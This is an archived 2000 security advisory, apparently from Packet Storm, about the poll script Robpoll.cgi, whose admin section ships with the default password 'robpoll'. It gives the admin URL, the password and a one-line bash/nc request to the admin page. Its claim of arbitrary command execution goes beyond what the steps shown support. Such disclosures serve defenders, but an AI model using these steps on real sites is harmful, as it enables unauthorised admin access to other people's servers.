Lucene search
K

robpoll-cgi-problem.txt

🗓️ 09 Aug 2000 00:00:00Reported by Alt3kxType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 28 Views

Remote command execution possible via default password in Robpoll.cgi on Unix and NT systems.

Code
`  
Software: Robpoll.cgi  
URL: http://  
Platforms: Unix, NT  
Type: CGI, Change password by default  
  
  
robpoll.cgi Remote Possible Problem discovered by  
Nick: alt3kx  
  
Mail: [email protected]  
  
  
Webs:  
  
w w w . h e r t m x . o r g  
w w w . s 0 d . o r g  
w w w . r a z a - m e x i c a n a . o r g  
  
  
  
Summary:  
  
Anyone can execute any command on the remote system with  
the priveleges of the web server. Anyone can read any file  
on the remote system which the account in wich the webserver  
runs as.  
  
  
Vulnerability:  
  
Robpoll is a free cgi based admin program.  
I played with the CGI and discovered that the function admin  
is set by a default password called "robpoll":  
  
1: Add New Question  
2: Remove Question  
3: Change Password <--here is the bug  
  
  
There is an admin function for adding and removing questions, which  
is run through the robpoll.cgi, as shown in poll.html.  
  
The admin section of the script is password protected. The default  
password is "robpoll". You can change it through one of the admin  
functions.  
  
  
These are the files you should have:  
  
1. robpoll.cgi . . . . . . the main Perl script  
2. pollssi.cgi . . . . . . the Perl script for SSI  
3. poll.html . . . . . . . sample html file  
4. data.txt . . . . . . . . main data file  
5. q1.txt . . . . . . . . . question data  
6. ip1.txt . . . . . . . . ip data  
7. num.txt . . . . . . . . data  
8. white.jpg . . . . . . . image for graphing  
9. robpoll.jpg . . . . . . link image  
10. readme.txt . . . . . . . this file  
  
  
Exploit:  
  
(1) robpoll.cgi -  
  
http://www.example.com/cgi-bin/robpoll.cgi?Admin  
  
(2) You will receive an message html like:  
  
1: Add New Question  
2: Remove Question  
3: Change Password  
  
(3) The password by default is "robpoll", leaving this password thus  
compromises the system and its files.  
  
  
------------------------CUT------------------------  
  
## - Author alt3kx -  
## (www.raza-mexicana.org)  
##  
##  
#!/bin/bash  
echo -e "GET http://www.example.com/cgi-bin/robpoll.cgi?Admin  
HTTP/1.0\n\n" | nc xxx.server.com 80  
  
  
  
------------------------CUT------------------------  
  
  
  
Greetz to: Packet Storm and Ken, ADM crew, dr_fdisk^(k00l friend),  
Raregazz, X-ploit, _0x90_ (next work!).  
Radikall (thanks for the work).  
  
  
  
  
  
  
  
  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation